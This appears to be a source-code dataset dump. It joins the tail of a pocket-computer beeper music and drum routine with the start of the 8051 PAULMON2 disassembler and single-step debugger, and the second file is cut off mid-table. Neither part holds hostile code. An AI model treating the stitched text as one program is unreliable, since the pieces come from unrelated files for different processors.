skip8M: outc
;*******
;lp K
deca
jrnzp skip7aN
pop ;3
push
jp skip5N ;and continue in a0b1
skip7aN:
;wait 2
lip OUTP
orim $10
skip7N: outc
;lp L
decl
jrnzp skip8aN
lp L ;restore counter
mvmd
jp skip4N ;and continue in a1b0
skip8aN:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8N: outc
;*******
;lp K
deca
jrnzp skip7aO
pop ;3
push
jp skip5O ;and continue in a0b1
skip7aO:
;wait 2
lip OUTP
orim $10
skip7O: outc
;lp L
decl
jrnzp skip8aO
lp L ;restore counter
mvmd
jp skip4O ;and continue in a1b0
skip8aO:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8O: outc
;*******
;lp K
deca
jrnzp skip7aP
pop ;3
push
jp skip5P ;and continue in a0b1
skip7aP:
;wait 2
lip OUTP
orim $10
skip7P: outc
;lp L
decl
jrnzp skip8aP
lp L ;restore counter
;nopw
mvmd
jp skip4P ;and continue in a1b0
skip8aP:
lip OUTP
orim $10
skip8P: outc
decm
jpnz a1b1
pop
rtn
;***************************************************************
end:
pop
lip OUTP ;restore outbyte
exam
rtn
;***************************************************************
ds 6,0 ;padding, so drum sounds are w/in page limits
drum:
dinit:
lp YL ;2 ;1 ;preserve song data pointer in Y
liq XL ;4 ;2
mvb ;7 ;1
dselect:
rc ;2 ;1 ;clear carry
deca ;4 ;1 ;decrease offset byte
lp XL ;2 ;1 ;set lobyte of drum table pointer-1
exam ;3 ;1
lp XH ;2 ;1 ;set hibyte of drum sound/table pointer-1
lia $88 ;4 ;2
exam ;3 ;1
ixl ;load offset from table
lp XL
exam
lip OUTP ;4 ;2 ;set pointer to value for Port C
;39
playDrum:
ixl ;7 ;1 ;load next counter value
cpma ;3 ;1 ;(P)=0, so we can do this and save 1 byte
jrzp dexit ;7/4 ;2 ;exit if counter val=0
orim $10 ;4 ;1 ;beeper on
outc ;2 ;1
dwait1:
deca ;(4) ;1
jrnzm dwait1 ;(7)/4 ;2 sum=11*sum_of_odd_bytes
anim $ef ;4 ;2 ;mask for beeper off
ixl ;7 ;1 ;load next counter value
cpma ;3 ;1 ;if it is 0
jrzp dexit ;7/4 ;2 ;exit
outc ;2 ;1
dwait2:
deca ;(4) ;1
jrnzm dwait2 ;(7)/4 ;2 sum=11*sum_of_even_bytes
jrm playDrum ;7 ;2
;51*number_of_bytes
dexit:
lp XL ;2 ;1 ;restore song data pointer
liq YL ;4 ;2
mvb ;7 ;1
lp M ;2 ;1 ;adjust primary speed counter
lia 21 ;4 ;2
sbm ;3 ;1
rtn ;4 ;1
;26 ;45
;39+26+7+[51*number_of_bytes]+[11*sum_of_bytes]
drumTable: ;the locations of the drum sounds-1
db $03,$1d,$66
drum1: db 1,4,3,8,6,4,9,8,8,8
db 16,16,16,32,32,32,32
db 64,64,64,64,65
db 128,128,128,0
drum2:
db 4,3,8,6,4,9,8,8,8
db 16,16,16,32,32,32,32,64,64,64
db 16,4,15,22,11,13,22,15,7
db 19,12,2,11,15,3,5,7,15,18
db 20,19,17,9,20,11,18,15,2,3
db 11,9,11,15,9,12,7,15,8,16
db 8,14,7,4,11,15,21,15,22,7
db 17,17,25,20,0
drum3:
db 5,2,4,1,5,8,2,3,8,7
db 5,3,5,8,4,8,6,6,1,7
db 7,4,2,7,5,8,6,8,8,5
db 3,3,7,2,3,3,4,6,5,8
db 5,8,5,5,1,5,3,4,3,7
db 6,3,1,8,6,1,6,2,2,1
db 6,6,3,6,8,7,3,1,8,7
db 4,2,1,4,1,255,255,0
sdata:
|
||||
TheStack | 474348bd6140d7188e2be4bf4f1461fab5c0d12e | Assemblycode:Assembly | {"size": 48158, "ext": "asm", "max_stars_repo_path": "samples/paulmon2/pm21_src/extra.asm", "max_stars_repo_name": "alanmimms/sim8052", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "samples/paulmon2/pm21_src/extra.asm", "max_issues_repo_name": "alanmimms/sim8052", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "samples/paulmon2/pm21_src/extra.asm", "max_forks_repo_name": "alanmimms/sim8052", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 23.4345498783, "max_line_length": 79, "alphanum_fraction": 0.536837078} | ; User installable disassembler and single-step run for paulmon2
; Please email comments, suggestions, bugs to [email protected]
; This code is in the public domain. It is distributed in
; the hope that it will be useful, but without any warranty;
; without even the implied warranty of merchantability or fitness
; for a particular purpose.
; For more information, please see
; http://www.pjrc.com/tech/8051/pm2_docs/index.html
.equ locat, 0x1000 ;location for these commands (usually 1000)
.equ paulmon2, 0x0000 ;location where paulmon2 is at (usually 0000)
.equ phex1, 0x2E+paulmon2
.equ cout, 0x30+paulmon2 ;send acc to uart
.equ phex, 0x34+paulmon2 ;print acc in hex
.equ phex16, 0x36+paulmon2 ;print dptr in hex
.equ pstr, 0x38+paulmon2 ;print string @dptr
.equ ghex, 0x3A+paulmon2 ;get two-digit hex (acc)
.equ ghex16, 0x3C+paulmon2 ;get four-digit hex (dptr)
.equ upper, 0x40+paulmon2 ;convert acc to uppercase
.equ newline, 0x48+paulmon2
.equ pcstr, 0x45+paulmon2
.equ pint, 0x50+paulmon2
.equ smart_wr, 0x56+paulmon2
.equ cin_filter, 0x62+paulmon2
.equ asc2hex, 0x65+paulmon2
.equ list_key, 'L' ;list (disassemble)
.equ step_key, 'S' ;single step run
.equ vtedit_key, 'E' ;memory editor
;for testing in ram
;.equ list_key, 'K' ;list (disassemble)
;.equ step_key, 'W' ;single step run
;.equ vtedit_key, 'E' ;memory editor
;location of two bytes used by single-step in internal ram which we
;hope the user's program won't write over while it's running. These
;two bytes hold the address of the previous instruction, so we can
;show the last executed instruction with the current value of the
;registers, which is much more intuitive than displaying the next
;instruction by grabbing the program counter from the stack as was
;done in PAULMON1's single step.
.equ lastpc, 0x7C ;don't forget to update the docs below
;DIS
;---------------------------------------------------------;
; ;
; list command ;
; ;
;---------------------------------------------------------;
.org locat
.db 0xA5,0xE5,0xE0,0xA5 ;signiture
.db 254,list_key,0,0 ;id (254=user installed command)
.db 0,0,0,0 ;prompt code vector
.dB 0,0,0,0 ;reserved
.db 0,0,0,0 ;reserved
.db 0,0,0,0 ;reserved
.db 0,0,0,0 ;user defined
.db 255,255,255,255 ;length and checksum (255=unused)
.db "List",0
newline_h:ljmp newline
.org locat+64 ;executable code begins here
; disassembler register usage
; r0 = temporary storage
; r1 = temporart storage
; r2 = first instruction byte
; r3 = second instruction byte
; r4 = third instruction byte
; r5 = line count
; r6 = program counter (lsb)
; r7 = program counter (msb)
list: acall newline_h
mov r5, #20
clr psw.1 ;use ordinary long format
list2: acall disasm
djnz r5, list2
ajmp newline_h
disasm:
;print out the memory location and fetch the next three bytes
mov a, r7
mov dph, a
acall phex_h
mov a, r6
mov dpl, a
acall phex_h
clr a
movc a, @a+dptr
mov r2, a
inc dptr
clr a
movc a, @a+dptr
mov r3, a
inc dptr
clr a
movc a, @a+dptr
mov r4, a
mov a, r2
anl a, #00001000b
jnz lookup2
;fetch constants for instructions not using R0-R7
lookup1:
mov a, r2
rr a
anl a, #01111000b ;grab upper 4 bits
mov r0, a ;keep in r0 for a moment
mov a, r2
anl a, #00000111b ;get lower 3 bits
orl a, r0 ;combine in upper 4
mov dptr, #opot1 ;opot=operand offset table
movc a, @a+dptr
sjmp unpack
;fetch constants for R0-R7 instructions
lookup2:
mov a, r2
swap a
anl a, #00001111b
mov dptr, #opot2
movc a, @a+dptr
;now we'll unpack the operand code (# bytes and addr mode)
unpack: anl a, #00000011b
mov r0, a
;increment the r7/r6 pointer
add a, r6
mov r6, a
mov a, r7
addc a, #0
mov r7, a
;now print the bytes and spaces (r0 has # of bytes to print)
pbytes: mov a, #':'
acall cout_h
acall space_h
jb psw.1, pmnu ;skip bytes if running single-step
mov a, r2
acall phex_h
acall space_h
cjne r0, #1, pbytes2
mov r1, #11
sjmp pbytes4
pbytes2:mov a, r3
acall phex_h
acall space_h
cjne r0, #2, pbytes3
mov r1, #8
sjmp pbytes4
pbytes3:mov a, r4
acall phex_h
mov r1, #6
pbytes4:acall space_h
djnz r1, pbytes4
;prints the mnunonic name and spaces
pmnu: mov a, r2
anl a, #00001000b
jnz pmnu_lookup2
pmnu_lookup1:
mov dptr, #mnot1 ;mnot=mnunonic offset table
mov a, r2
rr a
anl a, #01111000b ;grab upper 4 bits
mov r0, a ;keep in r0 for a moment
mov a, r2
anl a, #00000111b ;get lower 3 bits
orl a, r0 ;combine in upper 4
movc a, @a+dptr
mov r1, a
sjmp pmnu0
pmnu_lookup2:
mov dptr, #mnot2 ;16 byte table for r0-r7 instructions
mov a, r2
swap a
anl a, #00001111b
movc a, @a+dptr
mov r1, a
pmnu0: mov dptr, #mnu_tbl
mov r0, #8
clr c
pmnu1: mov a, #' '
jc pmnu2
mov a, r1
movc a, @a+dptr
inc r1
mov c, acc.7
anl a, #0x7F
pmnu2: acall cout_h
djnz r0, pmnu1
;print the operands
mov a, #dasm2 & 255 ;(low)
push acc
mov a, #dasm2 >> 8 ;(high)
push acc
am_lookup0:
mov a, r2
anl a, #00001000b
jnz am_lookup2
;fetch constants for instructions not using R0-R7
am_lookup1:
mov a, r2
rr a
anl a, #01111000b ;grab upper 4 bits
mov r0, a ;keep in r0 for a moment
mov a, r2
anl a, #00000111b ;get lower 3 bits
orl a, r0 ;combine in upper 4
mov dptr, #opot1 ;opot=operand offset table
movc a, @a+dptr
sjmp am_unpack
;fetch constants for R0-R7 instructions
am_lookup2:
mov a, r2
swap a
anl a, #00001111b
mov dptr, #opot2
movc a, @a+dptr
am_unpack:
anl a, #11111100b
rr a
rr a
dec a
mov dptr, #oprt ;oprt=operand routine table
rl a
add a, dpl
mov dpl, a
clr a
addc a, dph
mov dph, a
clr a
jmp @a+dptr
dasm2:
ajmp newline_h
oprt: ajmp opcd1 ;addr11
ajmp opcd2 ;A,Rn
ajmp opcd3 ;A,direct
ajmp opcd4 ;A,@Ri
ajmp opcd5 ;A,#data
ajmp opcd6 ;direct,A
ajmp opcd7 ;direct,#data
ajmp opcd8 ;C,bit
ajmp opcd9 ;C,/bit
ajmp opcd10 ;A,direct,rel
ajmp opcd11 ;A,#data,rel
ajmp opcd12 ;Rn,#data,rel
ajmp opcd13 ;@Ri,#data,rel
ajmp pa ;A
ajmp prc ;C
ajmp pbit ;bit
ajmp pdirect ;direct
ajmp p_reg_i ;@Ri
ajmp opcd19 ;AB
ajmp opcd20 ;Rn,rel
ajmp opcd21 ;direct,rel
ajmp p_reg_n ;Rn
ajmp pdptr ;DPTR
ajmp opcd24 ;bit,rel
ajmp prel ;rel
ajmp opcd26 ;@A+DPTR
ajmp opcd27 ;addr16
ajmp opcd28 ;Rn,A
ajmp opcd29 ;Rn,direct
ajmp opcd30 ;Rn,#data
ajmp opcd31 ;direct,Rn
ajmp opcd32 ;direct,direct
ajmp opcd33 ;direct,@Ri
ajmp opcd34 ;@Ri,A
ajmp opcd35 ;@Ri,direct
ajmp opcd36 ;@Ri,#data
ajmp opcd37 ;bit,C
ajmp opcd38 ;DPTR,#data16
ajmp opcd39 ;A,@A+DPTR
ajmp opcd40 ;A,@A+PC
ajmp opcd41 ;A,@DPTR
ajmp opcd42 ;@DPTR,A
ret ; <nothing>
opcd4: ;A,@Ri done
acall pac
p_reg_i:mov a,#'@'
acall cout_h
mov a,#'R'
acall cout_h
mov a, r2
anl a,#00000001b
ajmp phex1_h
opcd3: ;A,direct done
acall pac
pdirect:
mov a, r3
jb acc.7,pdir1
pdir0: mov a, r3
ajmp phex_h
pdir1: mov dptr,#sfrmnu
pdir2: clr a
movc a,@a+dptr
inc dptr
jz pdir0
mov r0,a
clr c
subb a, r3
jnz pdir3
pstr_h:
ljmp pstr
pdir3: clr a
movc a,@a+dptr
inc dptr
jnb acc.7,pdir3
sjmp pdir2
opcd9: ;C,/bit done
acall prc
acall pcomma
mov a, #'/'
acall cout_h
pbit:
mov a, r3
anl a,#01111000b
rl a
swap a
mov r0,a
mov a, r3
anl a,#10000000b
jz pbit1
mov dptr,#bitptr ;it's a Special Function Reg.
mov a,r0
movc a,@a+dptr
mov dptr,#bitmnu
addc a,dpl
mov dpl,a
jnc pbit0
inc dph
pbit0: acall pstr_h
sjmp pbit2
pbit1: mov a,r0 ;it's between 20h and 2Fh
add a,#20h
acall phex_h
pbit2: mov a,#'.'
acall cout_h
mov a, r3
anl a,#00000111b
ajmp phex1_h
opcd10: ;A,direct,rel done
acall pac
acall pdirect
opcd10a:acall pcomma
mov a, r4
mov r3, a
prel:
mov a, r3
add a, r6
mov dpl, a
mov a, r3
jb acc.7, prel2
clr a
sjmp prel3
prel2: clr a
cpl a
prel3: addc a, r7
mov dph, a
ljmp phex16
pat: ;prints the '@' symbol
mov a,#'@'
ajmp cout_h
pac: ;print "A,"
acall pa
pcomma: ;prints a comma
mov a,#','
acall cout_h
pspace: mov a, #' '
ajmp cout_h
plb: ;prints the '#' symbol
mov a,#'#'
ajmp cout_h
opcd6: ;direct,A done
acall pdirect
acall pcomma
pa: ;prints 'A'
mov a,#'A'
ajmp cout_h
opcd37: ;bit,C done
acall pbit
acall pcomma
prc: ;prints 'C'
mov a,#'C'
ajmp cout_h
opcd26: ;@A+DPTR done
acall pat
acall pa
mov a,#'+'
acall cout_h
pdptr: ;prints DPTR
mov a, #'D'
acall cout_h
mov a, #'P'
acall cout_h
mov a, #'T'
acall cout_h
mov a, #'R'
cout_h:
ljmp cout
opcd1: mov a, r7 ;addr11 done
anl a, #11111000b
mov r0, a
mov a, r2
swap a
rr a
anl a, #00000111b
orl a, r0
acall phex_h
mov a, r3
ajmp phex_h
opcd2: ;A,Rn done
acall pac
p_reg_n:mov a,#'R'
acall cout_h
mov a, r2
anl a,#00000111b
phex1_h:
ljmp phex1
opcd5: ;A,#data done
acall pa
pdata: acall pcomma
acall plb
mov a, r3
phex_h:
ljmp phex
opcd7: ;direct,#data done
acall pdirect
mov a, r4
mov r3, a
ajmp pdata
opcd8: ;C,bit done
acall prc
acall pcomma
ajmp pbit
opcd11: ;A,#data,rel done
acall pa
opcd11a:acall pcomma
acall plb
mov a, r3
acall phex_h
ajmp opcd10a
opcd12: ;Rn,#data,rel done
acall p_reg_n
ajmp opcd11a
opcd13: ;@Ri,#data,rel done
acall p_reg_i
ajmp opcd11a
opcd19: ;AB done
acall pa
mov a, #'B'
ajmp cout_h
opcd20: ;Rn,rel done
acall p_reg_n
acall pcomma
ajmp prel
opcd21: ;direct,rel done
acall pdirect
ajmp opcd10a
opcd24: ;bit,rel done
acall pbit
ajmp opcd10a
opcd28: ;Rn,A done
acall p_reg_n
acall pcomma
ajmp pa
opcd29: ;Rn,direct done
acall p_reg_n
acall pcomma
ajmp pdirect
opcd30: ;Rn,#data done
acall p_reg_n
ajmp pdata
opcd31: ;direct,Rn done
acall pdirect
acall pcomma
ajmp p_reg_n
opcd32: ;direct,direct done
mov a, r3
push acc
mov a, r4
mov r3, a
acall pdirect
acall pcomma
pop acc
mov r3, a
ajmp pdirect
opcd33: ;direct,@Ri done
acall pdirect
acall pcomma
ajmp p_reg_i
opcd34: ;@Ri,A done
acall p_reg_i
acall pcomma
ajmp pa
opcd35: ;@Ri,direct done
acall p_reg_i
acall pcomma
ajmp pdirect
opcd36: ;@Ri,#data done
acall p_reg_i
ajmp pdata
opcd38: ;DPTR,#data16 done
acall pdptr
acall pcomma
acall plb
opcd27: mov a, r3 ;addr16 done
acall phex_h
mov a, r4
ajmp phex_h
opcd39: ;A,@A+DPTR done
acall pac
acall pat
acall pa
mov a,#'+'
acall cout_h
ajmp pdptr
opcd40: ;A,@A+PC done
acall pac
acall pat
acall pa
mov a,#'+'
acall cout_h
mov a,#'P'
acall cout_h
ajmp prc
opcd41: ;A,@DPTR done
acall pac
acall pat
ajmp pdptr
opcd42: ;@DPTR,A done
acall pat
acall pdptr
acall pcomma
ajmp pa
sfrmnu: .db 0xE0,"AC",'C'+128
.db 0x81,'S','P'+128
.db 0x82,"DP",'L'+128
.db 0x83,"DP",'H'+128
.db 0x80,'P','0'+128
.db 0x90,'P','1'+128
.db 0xA0,'P','2'+128
.db 0xB0,'P','3'+128
.db 0x99,"SBU",'F'+128
.db 0xCD,"TH",'2'+128
.db 0xC8,"T2CO",'N'+128
.db 0xCC,"TL",'2'+128
.db 0xCB,"RCAP2",'H'+128
.db 0xCA,"RCAP2",'L'+128
.db 0x8C,"TH",'0'+128
.db 0x8A,"TL",'0'+128
.db 0x8D,"TH",'1'+128
.db 0x8B,"TL",'1'+128
sfr1: .db 0xF0,'B'+128 ;5
sfr2: .db 0xD0,"PS",'W'+128 ;7
sfr3: .db 0xA8,'I','E'+128
sfr4: .db 0xB8,'I','P'+128
sfr5: .db 0x89,"TMO",'D'+128 ;8
sfr6: .db 0x88,"TCO",'N'+128 ;8
sfr7: .db 0x98,"SCO",'N'+128 ;8
sfr8: .db 0x87,"PCO",'N'+128 ;8
.db 0 ;just in case
opot2: .db 0x59, 0x59, 0x09, 0x09 ;inc, dec, add, addc
.db 0x09, 0x09, 0x09, 0x7A ;orl, anl, xrl, mov
.db 0x7E, 0x09, 0x76, 0x33 ;mov, subb, mov, cjne
.db 0x09, 0x52, 0x09, 0x71 ;xch, djnz, mov, mov
bitptr: .db 0x00, 0x02, 0x06, 0x08, 0x0C, 0x0E, 0x10, 0x12
.db 0x14, 0x16, 0x1B, 0x1E, 0x20, 0x23, 0x24, 0x25
;some stuff used by single step... it's here to fill up some of
;the unused space from the end of the disassembler code and the
;beginning of the single-step header (which must begin on a 256
;byte page boundry)
wr_check: ;write to memory and check that it worked.
;acc=0 if it worked, nonzero if it didn't write
mov r0, a ;keep a copy of the data in r0
movx @dptr, a
clr a
movc a, @a+dptr
clr c
subb a, r0
ret
;delay for approx 1 character transmit time
chardly:mov r1, #80
chdly2: mov a, th1
cpl a
inc a
mov r0, a
djnz r0, *
djnz r1, chdly2
ret
prcolon:acall phex_h
mov a, #':'
ajmp cout_h
phexsp: acall phex_h
space_h:
mov a, #' '
ajmp cout_h
;SINGLE
;---------------------------------------------------------;
; ;
; single step command ;
; ;
;---------------------------------------------------------;
.org locat+0x400
.db 0xA5,0xE5,0xE0,0xA5 ;signiture
.db 254,step_key,0,0 ;id (254=user installed command)
.db 0,0,0,0 ;prompt code vector
.dB 0,0,0,0 ;reserved
.db 0,0,0,0 ;reserved
.db 0,0,0,0 ;reserved
.db 0,0,0,0 ;user defined
.db 255,255,255,255 ;length and checksum (255=unused)
.db "Single-Step",0
.org locat+0x440 ;executable code begins here
ssrun:
;first check to make sure they connect int1 low
jnb p3.3, ssrun2
mov dptr, #sserr1 ;give error msg if int1 not grounded
pcstr_h:
ljmp pcstr
ssrun2: ;make sure there's a ljmp at the int1 vector location
mov dptr, #0x0013
clr a
movc a, @a+dptr
add a, #254
jz ssrun3
mov dptr, #sserr2 ;give error that paulmon2 was not found.
ajmp pcstr_h
ssrun3: ;now write an ljmp to "step" in the ram and check it.
inc dptr
movc a, @a+dptr
mov r0, a
clr a
inc dptr
movc a, @a+dptr
mov dpl, a
mov dph, r0 ;now data pointer points to int1 target
mov a, #2
acall wr_check
jnz ssrun4
inc dptr
mov a, #(step >> 8)
acall wr_check
jnz ssrun4
inc dptr
mov a, #(step & 255)
acall wr_check
jz ssrun5
ssrun4: mov r0, dpl
mov r1, dph
mov dptr, #sserr3 ;error: couldn't write to memory @xxxx
acall pcstr_h
mov a, r1
acall phex_h
mov a, r0
acall phex_h
ajmp newline_h
ssrun5: mov a, ip ;set to high priority interrupt
anl a, #00000100b
mov ip, a
;let's not beat around the bush (like paulmon1), all
;we need to know is where to jump into memory.
mov dptr, #prompt8
acall pcstr_h
mov a, r7
acall phex_h
mov a, r6
acall phex_h
mov dptr,#prompt4
acall pcstr_h
lcall ghex16 ;ask for the jump location
jb psw.5, ssrun7
jnc ssrun6
mov dptr,#abort
acall pstr_h
ajmp newline_h
ssrun6: mov r6, dpl ;where we'll begin executing
mov r7, dph
ssrun7: clr tcon.2 ;need low-level triggered int1
mov dptr,#ssmsg ;tell 'em we're starting
acall pcstr_h
mov dptr,#ssnames
acall pstr_h
clr a
mov sp, #8 ;just like after a reset
push acc ;unlike a 8051 start-up, push return addr
push acc ;of 0000, just in case they end w/ ret
mov dpl, r6 ;load the program's address into dptr
mov dph, r7
mov psw, a ;and clear everything to zero
mov r0, a
mov r1, a
mov r2, a
mov r3, a
mov r4, a
mov r5, a
mov r6, a
mov r7, a
mov b, a
mov lastpc, #ssstart & 255
mov (lastpc+1), #ssstart >> 8
setb ie.2
setb ea ;turn on the interrupt
ssstart:jmp @a+dptr
done: acall chardly
pop acc
mov r1, a
pop acc
mov r0, a
pop dpl
pop dph
pop psw
pop acc
reti
step: ;this is the single step interrupt service code...
push acc
push psw ;Stack Contents: (in this order)
push dph ;PC_L PC_H ACC PSW DPH DPL R0 R1
push dpl
mov a, r0
push acc
mov a, r1
push acc
;in case the previous instruction was "clr ti", we
;must wait for a character transmit time "in case it
;was a move to SBUF) and then set ti so that our cout
;doesn't hang when we transmit the first character!
acall chardly
setb ti
;now print out a line that looks like this:
;ACC B C DPTR R0 R1 R2 R3 R4 R5 R6 R7 SP PC Instruction
;00 00 0 3F00 00:00:00:00:00:00:00:00 00 - 0000: LJMP 0825
acall space_h
acall space_h
mov a, sp
add a, #251
mov r0, a ;r0 points to user's acc on stack
mov a, @r0
acall phexsp ;print acc
mov a, b
acall phexsp ;print b register
inc r0
mov a, @r0
rl a
anl a, #1
acall phex1_h ;print carry bit
acall space_h
inc r0
mov a, @r0
acall phex_h ;print dptr (msb)
inc r0
mov a, @r0
acall phexsp ;print dptr (lsb)
acall space_h
inc r0
mov a, @r0
acall prcolon ;print r0
inc r0
mov a, @r0
acall prcolon ;print r1
mov a, r2
acall prcolon ;print r2
mov a, r3
acall prcolon ;print r3
mov a, r4
acall prcolon ;print r4
mov a, r5
acall prcolon ;print r5
mov a, r6
acall prcolon ;print r6
mov a, r7
acall phexsp ;print r7
acall space_h
mov a, r0
add a, #248
acall phexsp ;print stack pointer
acall space_h
acall space_h
;now the trick is to disassemble the instruction... this isn't
;easy, since the user wants to see the last instruction that
;just executed, but program counter on the stack points to the
;next instruction to be executed. The dirty trick is to grab
;the program counter from last time where we stashed it in some
;memory that hopefully the user's program hasn't overwritten.
mov a, lastpc
mov lastpc, r6
mov r6, a
mov a, (lastpc+1)
mov (lastpc+1), r7
mov r7, a
mov a, r2
push acc
mov a, r3
push acc
mov a, r4
push acc
setb psw.1 ;tell it to use a compact format
;the disassembler uses quite a bit of stack space... if the
;user didn't leave enough room for the stack to grow with
;all this overhead, it will likely crash somewhere in the
;disassembler... oh well, not much I can do about it. The
;worst case stack usage for disasm is 9 bytes. We just
;pushed 5 and 6 at the beginning of step. With the two
;bytes for the interrupt, a total of 22 bytes of free stack
;space must be available to use the single-step feature.
acall disasm
pop acc
mov r4, a
pop acc
mov r3, a
pop acc
mov r2, a
mov r7, (lastpc+1)
mov r6, lastpc
;now grab the user's PC value to keep it for next time
mov a, sp
add a, #249
mov r0, a ;r0 points to user's acc on stack
mov a, @r0
mov lastpc, a
inc r0
mov a, @r0
mov (lastpc+1), a
;SINGLE STEP
step1: lcall cin_filter
lcall upper
step2: cjne a, #13, step7
ajmp done
step7: cjne a, #' ', step8 ;check space
ajmp done
step8: cjne a,#'?',step10 ;check '?'
mov dptr,#help5txt
acall pcstr_h
ajmp step1
step10: cjne a,#'Q',step11 ;check 'Q'=quit and run normal
mov dptr, #squit
acall pstr_h
clr ie.2
acall chardly
mov 8, #0 ;force return to 0000
mov 9, #0
mov sp, #9
reti
step11:
cjne a,#'H',step12 ;check 'H'=hex dump internal ram
ajmp ssdmp
step12: cjne a,#'R',step13 ;check 'R'=print out registers
ajmp ssreg
step13: cjne a,#'S',step14 ;check 'S'=skip next inst
ajmp ssskip
step14: cjne a,#'A',step15 ;check 'A'=change acc value
ajmp sschacc
step15: cjne a,#'.',step20
mov dptr, #ssnames
acall pstr_h
ajmp step1
step20: ajmp step1
pequal: ; prints '='
mov a,#'='
ajmp cout_h
ssdmp:
mov dptr, #ssdmps1
acall pstr_h
clr a
acall prcolon
acall space_h
mov r0, sp
dec r0
mov a, @r0
acall phexsp
inc r0
mov a, @r0
acall phex_h
mov r0, #2
mov r1, #14
ajmp ssdmp2
ssdmp1: mov a, r0
acall prcolon
mov r1, #16
ssdmp2: acall space_h
mov a, @r0
acall phex_h
inc r0
djnz r1, ssdmp2
acall newline_h
cjne r0, #0x80, ssdmp1
acall newline_h
ajmp step1
ssreg:
mov dptr, #sfr2+1
acall pstr_h
acall pequal
mov a, sp
add a, #252
mov r0, a
mov a, @r0
acall phexsp ;print psw
mov dptr,#sfr3+1
mov r0, 0xA8
acall psfr ;print ie
mov dptr,#sfr4+1
mov r0, 0xB8
acall psfr ;print ip
mov dptr,#sfr5+1
mov r0, 0x89
acall psfr ;print tmod
mov dptr,#sfr6+1
mov r0, 0x88
acall psfr ;print tcon
mov dptr,#sfr7+1
mov r0, 0x98
acall psfr ;print smod
mov dptr,#sfr8+1
mov r0, 0x87
acall psfr ;print pcon
mov a, #'T'
acall cout_h
mov a, #'0'
acall cout_h
acall pequal
mov a, 8Ch
acall phex_h ;print Timer 0
mov a, 8Ah
acall phex_h
acall space_h
mov a, #'T'
acall cout_h
mov a, #'1'
acall cout_h
acall pequal
mov a, 8Dh ;print Timer 1
acall phex_h
mov a, 8Bh
acall phex_h
acall newline_h
ajmp step1
psfr: acall pstr_h
acall pequal
mov a, r0
ajmp phexsp
;skip the next instruction
ssskip:
mov r0, #23
ssskip2:acall space_h
djnz r0, ssskip2
mov dptr,#sskip1
acall pstr_h
mov a, sp
add a, #249
mov r0, a ;set r0 to point to pc on stack
mov a, @r0
mov lastpc, r6 ;keep r6/r7 safe in lastpc
mov r6, a ;put user's pc into r6/r7
inc r0
mov a, @r0
mov (lastpc+1), r7
mov r7, a
mov a, r2
push acc
mov a, r3
push acc
mov a, r4
push acc
setb psw.1 ;tell it to use a compact format
acall disasm ;run disasm to show 'em what was skipped
pop acc
mov r4, a
pop acc
mov r3, a
pop acc
mov r2, a
mov a, sp
add a, #249
mov r0, a ;set r0 to point to pc on stack
mov a, r6
mov r6, lastpc ;restore r6/r7
mov lastpc, a ;update lastpc with next inst addr
mov @r0, a ;also update user's pc!!
inc r0
mov a, r7
mov r7, (lastpc+1)
mov (lastpc+1), a
mov @r0, a
ajmp step1
sschacc:
mov a, sp
add a, #251
mov r0, a ;r0 points to acc on stack
mov dptr, #chaccs1
acall pstr_h
lcall ghex
jc chacc2
jb psw.5, chacc2
mov @r0, a
acall newline_h
ajmp step1
chacc2: mov dptr, #abort
acall pstr_h
ajmp step1
;stuff some of the disassembler tables, strings, etc since we have a
;bit of space before the beginning of the editor command code
;opcode offset table (gives #bytes for the instruction
;and the number of the routine to print the operands)
opot1: .db 0xAD, 0x06, 0x6F, 0x39, 0x39, 0x46, 0x49, 0x49 ;0
.db 0x63, 0x06, 0x6F, 0x39, 0x39, 0x46, 0x49, 0x49 ;1
.db 0x63, 0x06, 0xAD, 0x39, 0x16, 0x0E, 0x11, 0x11 ;2
.db 0x63, 0x06, 0xAD, 0x39, 0x16, 0x0E, 0x11, 0x11 ;3
.db 0x66, 0x06, 0x1A, 0x1F, 0x16, 0x0E, 0x11, 0x11 ;4
.db 0x66, 0x06, 0x1A, 0x1F, 0x16, 0x0E, 0x11, 0x11 ;5
.db 0x66, 0x06, 0x1A, 0x1F, 0x16, 0x0E, 0x11, 0x11 ;6
.db 0x66, 0x06, 0x22, 0x69, 0x16, 0x1F, 0x92, 0x92 ;7
.db 0x66, 0x06, 0x22, 0xA1, 0x4D, 0x83, 0x86, 0x86 ;8
.db 0x9B, 0x06, 0x96, 0x9D, 0x16, 0x0E, 0x11, 0x11 ;9
.db 0x26, 0x06, 0x22, 0x5D, 0x4D, 0xAD, 0x8E, 0x8E ;A
.db 0x26, 0x06, 0x42, 0x3D, 0x2F, 0x2B, 0x37, 0x37 ;B
.db 0x46, 0x06, 0x42, 0x3D, 0x39, 0x0E, 0x11, 0x11 ;C
.db 0x46, 0x06, 0x42, 0x3D, 0x39, 0x57, 0x11, 0x11 ;D
.db 0xA5, 0x06, 0x11, 0x11, 0x39, 0x0E, 0x11, 0x11 ;E
.db 0xA9, 0x06, 0x89, 0x89, 0x39, 0x1A, 0x89, 0x89 ;F
mnot1: ;mnunonic offset table (gives offset into above table)
.db 0x5A, 0x0E, 0x48, 0x73 ;nop, ajmp, ljmp, rr
.db 0x2B, 0x2B, 0x2B, 0x2B ;inc, inc, inc, inc
.db 0x30, 0x00, 0x43, 0x75 ;jbc, acall, lcall rrc
.db 0x21, 0x21, 0x21, 0x21 ;
.db 0x2E, 0x0E, 0x67, 0x6E ; etc...
.db 0x06, 0x06, 0x06, 0x06 ;
.db 0x38, 0x00, 0x6A, 0x70 ;
.db 0x0A, 0x0A, 0x0A, 0x0A ;
.db 0x33, 0x0E, 0x5D, 0x5D ;
.db 0x5D, 0x5D, 0x5D, 0x5D ;
.db 0x3B, 0x00, 0x12, 0x12 ;
.db 0x12, 0x12, 0x12, 0x12 ;
.db 0x41, 0x0E, 0x8F, 0x8F ;
.db 0x8F, 0x8F, 0x8F, 0x8F ;
.db 0x3E, 0x00, 0x5D, 0x35 ;
.db 0x4C, 0x4C, 0x4C, 0x4C ;
.db 0x7C, 0x0E, 0x12, 0x4F ;
